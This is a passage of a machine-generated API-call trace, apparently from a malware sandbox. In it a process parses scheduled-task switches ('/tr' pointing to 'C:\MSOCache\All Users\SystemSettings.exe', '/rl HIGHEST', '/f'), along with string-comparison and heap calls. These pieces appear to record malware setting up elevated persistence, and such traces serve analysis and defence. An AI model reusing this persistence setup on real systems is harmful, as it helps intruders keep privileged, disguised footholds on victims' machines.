(_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.160] lstrlenW (lpString="tr") returned 2 [0134.160] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.160] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|run|") returned 5 [0134.160] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tr|") returned 4 [0134.160] lstrlenW (lpString="|run|") returned 5 [0134.160] lstrlenW (lpString="|tr|") returned 4 [0134.160] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0134.161] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.161] lstrlenW (lpString="end") returned 3 [0134.161] lstrlenW (lpString="end") returned 3 [0134.161] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.161] lstrlenW (lpString="tr") returned 2 [0134.161] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.161] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|end|") returned 5 [0134.161] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tr|") returned 4 [0134.161] lstrlenW (lpString="|end|") returned 5 [0134.161] lstrlenW (lpString="|tr|") returned 4 [0134.161] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0134.161] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.161] lstrlenW (lpString="showsid") returned 7 [0134.161] lstrlenW (lpString="showsid") returned 7 [0134.161] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.161] lstrlenW (lpString="tr") returned 2 [0134.161] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.161] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|showsid|") returned 9 [0134.161] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tr|") returned 4 [0134.161] lstrlenW (lpString="|showsid|") returned 9 [0134.161] lstrlenW (lpString="|tr|") returned 4 [0134.161] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0134.161] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.161] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.161] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.161] lstrlenW (lpString="/tr") returned 3 [0134.161] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0134.161] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.161] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.161] lstrlenW (lpString="/tr") returned 3 [0134.161] GetProcessHeap () returned 0x2236c530000 [0134.161] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x8) returned 0x2236c533b70 [0134.162] GetProcessHeap () returned 0x2236c530000 [0134.162] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b630 [0134.162] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.162] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.162] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0134.162] lstrlenW (lpString="-/") returned 2 [0134.162] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0134.162] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.162] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.162] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.162] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0134.162] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\SystemSettings.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\SystemSettings.exe'" [0134.162] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0134.162] GetProcessHeap () returned 0x2236c530000 [0134.162] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c53a8d0 [0134.162] _memicmp (_Buf1=0x2236c53a8d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.162] GetProcessHeap () returned 0x2236c530000 [0134.162] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0xe) returned 0x2236c53aa30 [0134.162] GetProcessHeap () returned 0x2236c530000 [0134.162] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c53aa10 [0134.162] _memicmp (_Buf1=0x2236c53aa10, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.162] GetProcessHeap () returned 0x2236c530000 [0134.162] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x58) returned 0x2236c533b90 [0134.162] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.162] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.162] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.162] lstrlenW (lpString="'C") returned 2 [0134.162] lstrlenW (lpString="-/") returned 2 [0134.162] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0134.162] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.162] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.162] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.162] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0134.162] GetProcessHeap () returned 0x2236c530000 [0134.162] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x56) returned 0x2236c533bf0 [0134.163] GetProcessHeap () returned 0x2236c530000 [0134.163] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b930 [0134.163] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.163] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.163] lstrlenW (lpString="/rl") returned 3 [0134.163] lstrlenW (lpString="-/") returned 2 [0134.163] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.163] lstrlenW (lpString="?") returned 1 [0134.163] lstrlenW (lpString="?") returned 1 [0134.163] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.163] lstrlenW (lpString="rl") returned 2 [0134.163] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.163] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|?|") returned 3 [0134.163] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|rl|") returned 4 [0134.163] lstrlenW (lpString="|?|") returned 3 [0134.163] lstrlenW (lpString="|rl|") returned 4 [0134.163] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.163] lstrlenW (lpString="create") returned 6 [0134.163] lstrlenW (lpString="create") returned 6 [0134.163] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.163] lstrlenW (lpString="rl") returned 2 [0134.163] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.163] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|create|") returned 8 [0134.163] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|rl|") returned 4 [0134.163] lstrlenW (lpString="|create|") returned 8 [0134.163] lstrlenW (lpString="|rl|") returned 4 [0134.163] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0134.163] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.163] lstrlenW (lpString="delete") returned 6 [0134.163] lstrlenW (lpString="delete") returned 6 [0134.163] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.163] lstrlenW (lpString="rl") returned 2 [0134.164] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.164] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|delete|") returned 8 [0134.164] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|rl|") returned 4 [0134.164] lstrlenW (lpString="|delete|") returned 8 [0134.164] lstrlenW (lpString="|rl|") returned 4 [0134.164] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0134.164] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.164] lstrlenW (lpString="query") returned 5 [0134.164] lstrlenW (lpString="query") returned 5 [0134.164] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.164] lstrlenW (lpString="rl") returned 2 [0134.164] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.164] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|query|") returned 7 [0134.164] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|rl|") returned 4 [0134.164] lstrlenW (lpString="|query|") returned 7 [0134.164] lstrlenW (lpString="|rl|") returned 4 [0134.164] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0134.164] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.164] lstrlenW (lpString="change") returned 6 [0134.164] lstrlenW (lpString="change") returned 6 [0134.164] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.164] lstrlenW (lpString="rl") returned 2 [0134.164] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.164] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|change|") returned 8 [0134.164] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|rl|") returned 4 [0134.164] lstrlenW (lpString="|change|") returned 8 [0134.164] lstrlenW (lpString="|rl|") returned 4 [0134.164] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0134.164] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.164] lstrlenW (lpString="run") returned 3 [0134.165] lstrlenW (lpString="run") returned 3 [0134.165] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.165] lstrlenW (lpString="rl") returned 2 [0134.165] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.165] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|run|") returned 5 [0134.165] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|rl|") returned 4 [0134.165] lstrlenW (lpString="|run|") returned 5 [0134.165] lstrlenW (lpString="|rl|") returned 4 [0134.165] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0134.165] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.165] lstrlenW (lpString="end") returned 3 [0134.165] lstrlenW (lpString="end") returned 3 [0134.165] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.165] lstrlenW (lpString="rl") returned 2 [0134.165] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.165] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|end|") returned 5 [0134.165] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|rl|") returned 4 [0134.165] lstrlenW (lpString="|end|") returned 5 [0134.165] lstrlenW (lpString="|rl|") returned 4 [0134.165] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0134.165] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.165] lstrlenW (lpString="showsid") returned 7 [0134.165] lstrlenW (lpString="showsid") returned 7 [0134.165] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.165] lstrlenW (lpString="rl") returned 2 [0134.165] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.165] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|showsid|") returned 9 [0134.165] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|rl|") returned 4 [0134.165] lstrlenW (lpString="|showsid|") returned 9 [0134.165] lstrlenW (lpString="|rl|") returned 4 [0134.166] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0134.166] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.166] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.166] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.166] lstrlenW (lpString="/rl") returned 3 [0134.166] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0134.166] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.166] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.166] lstrlenW (lpString="/rl") returned 3 [0134.166] GetProcessHeap () returned 0x2236c530000 [0134.166] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x8) returned 0x2236c533c50 [0134.166] GetProcessHeap () returned 0x2236c530000 [0134.166] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b9f0 [0134.166] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.166] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.166] lstrlenW (lpString="HIGHEST") returned 7 [0134.166] lstrlenW (lpString="-/") returned 2 [0134.166] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0134.166] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.166] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.166] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.166] lstrlenW (lpString="HIGHEST") returned 7 [0134.166] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0134.166] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.166] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.167] lstrlenW (lpString="HIGHEST") returned 7 [0134.167] GetProcessHeap () returned 0x2236c530000 [0134.167] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x10) returned 0x2236c53a930 [0134.167] GetProcessHeap () returned 0x2236c530000 [0134.167] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53ba50 [0134.167] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.167] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.169] lstrlenW (lpString="/f") returned 2 [0134.169] lstrlenW (lpString="-/") returned 2 [0134.169] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.169] lstrlenW (lpString="?") returned 1 [0134.169] lstrlenW (lpString="?") returned 1 [0134.169] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.169] lstrlenW (lpString="f") returned 1 [0134.169] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.169] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|?|") returned 3 [0134.169] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|f|") returned 3 [0134.169] lstrlenW (lpString="|?|") returned 3 [0134.169] lstrlenW (lpString="|f|") returned 3 [0134.169] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0134.169] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.169] lstrlenW (lpString="create") returned 6 [0134.169] lstrlenW (lpString="create") returned 6 [0134.169] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.169] lstrlenW (lpString="f") returned 1 [0134.169] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.170] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|create|") returned 8 [0134.170] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|f|") returned 3 [0134.170] lstrlenW (lpString="|create|") returned 8 [0134.170] lstrlenW (lpString="|f|") returned 3 [0134.170] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0134.170] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.170] lstrlenW (lpString="delete") returned 6 [0134.170] lstrlenW (lpString="delete") returned 6 [0134.170] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.170] lstrlenW (lpString="f") returned 1 [0134.170] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.170] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|delete|") returned 8 [0134.170] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|f|") returned 3 [0134.170] lstrlenW (lpString="|delete|") returned 8 [0134.170] lstrlenW (lpString="|f|") returned 3 [0134.170] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0134.170] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.170] lstrlenW (lpString="query") returned 5 [0134.170] lstrlenW (lpString="query") returned 5 [0134.170] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.170] lstrlenW (lpString="f") returned 1 [0134.170] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.170] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|query|") returned 7 [0134.170] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|f|") returned 3 [0134.170] lstrlenW (lpString="|query|") returned 7 [0134.170] lstrlenW (lpString="|f|") returned 3 [0134.170] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0134.170] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.170] lstrlenW (lpString="change") returned 6 [0134.170] lstrlenW (lpString="change") returned 6 [0134.170] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.171] lstrlenW (lpString="f") returned 1 [0134.171] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.171] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|change|") returned 8 [0134.171] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|f|") returned 3 [0134.171] lstrlenW (lpString="|change|") returned 8 [0134.171] lstrlenW (lpString="|f|") returned 3 [0134.171] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0134.171] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.171] lstrlenW (lpString="run") returned 3 [0134.171] lstrlenW (lpString="run") returned 3 [0134.171] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.171] lstrlenW (lpString="f") returned 1 [0134.171] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.171] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|run|") returned 5 [0134.171] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|f|") returned 3 [0134.171] lstrlenW (lpString="|run|") returned 5 [0134.171] lstrlenW (lpString="|f|") returned 3 [0134.171] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0134.171] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.171] lstrlenW (lpString="end") returned 3 [0134.171] lstrlenW (lpString="end") returned 3 [0134.171] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.171] lstrlenW (lpString="f") returned 1 [0134.171] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.171] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|end|") returned 5 [0134.171] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|f|") returned 3 [0134.171] lstrlenW (lpString="|end|") returned 5 [0134.171] lstrlenW (lpString="|f|") returned 3 [0134.171] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0134.171] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.172] lstrlenW (lpString="showsid") returned 7 [0134.172] lstrlenW (lpString="showsid") returned 7 [0134.172] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.172] lstrlenW (lpString="f") returned 1 [0134.172] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.172] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|showsid|") returned 9 [0134.172] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|f|") returned 3 [0134.172] lstrlenW (lpString="|showsid|") returned 9 [0134.172] lstrlenW (lpString="|f|") returned 3 [0134.172] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0134.172] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.172] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.172] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.172] lstrlenW (lpString="/f") returned 2 [0134.172] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0134.172] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.172] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.172] lstrlenW (lpString="/f") returned 2 [0134.172] GetProcessHeap () returned 0x2236c530000 [0134.172] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x6) returned 0x2236c533c70 [0134.172] GetProcessHeap () returned 0x2236c530000 [0134.172] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b960 [0134.172] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.172] GetProcessHeap () returned 0x2236c530000 [0134.172] GetProcessHeap () returned 0x2236c530000 [0134.172] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c5338f0) returned 1 [0134.172] GetProcessHeap () returned 0x2236c530000 [0134.172] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c5338f0) returned 0x8 [0134.172] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c5338f0) returned 1 [0134.172] GetProcessHeap () returned 0x2236c530000 [0134.172] GetProcessHeap () returned 0x2236c530000 [0134.172] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b750) returned 1 [0134.172] GetProcessHeap () returned 0x2236c530000 [0134.172] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b750) returned 0x20 [0134.173] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b750) returned 1 [0134.173] GetProcessHeap () returned 0x2236c530000 [0134.173] GetProcessHeap () returned 0x2236c530000 [0134.173] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b360) returned 1 [0134.173] GetProcessHeap () returned 0x2236c530000 [0134.173] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b360) returned 0x1e [0134.173] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b360) returned 1 [0134.173] GetProcessHeap () returned 0x2236c530000 [0134.173] GetProcessHeap () returned 0x2236c530000 [0134.174] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b510) returned 1 [0134.174] GetProcessHeap () returned 0x2236c530000 [0134.174] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b510) returned 0x20 [0134.174] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b510) returned 1 [0134.174] GetProcessHeap () returned 0x2236c530000 [0134.174] GetProcessHeap () returned 0x2236c530000 [0134.174] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c533b50) returned 1 [0134.174] GetProcessHeap () returned 0x2236c530000 [0134.174] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c533b50) returned 0x8 [0134.174] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c533b50) returned 1 [0134.174] GetProcessHeap () returned 0x2236c530000 [0134.174] GetProcessHeap () returned 0x2236c530000 [0134.174] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b8d0) returned 1 [0134.174] GetProcessHeap () returned 0x2236c530000 [0134.174] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b8d0) returned 0x20 [0134.174] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b8d0) returned 1 [0134.174] GetProcessHeap () returned 0x2236c530000 [0134.174] GetProcessHeap () returned 0x2236c530000 [0134.174] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53aad0) returned 1 [0134.174] GetProcessHeap () returned 0x2236c530000 [0134.175] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53aad0) returned 0x10 [0134.175] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53aad0) returned 1 [0134.175] GetProcessHeap () returned 0x2236c530000 [0134.175] GetProcessHeap () returned 0x2236c530000 [0134.175] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b420) returned 1 [0134.175] GetProcessHeap () returned 0x2236c530000 [0134.175] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b420) returned 0x20 [0134.175] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b420) returned 1 [0134.175] GetProcessHeap () returned 0x2236c530000 [0134.175] GetProcessHeap () returned 0x2236c530000 [0134.175] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c533b70) returned 1 [0134.175] 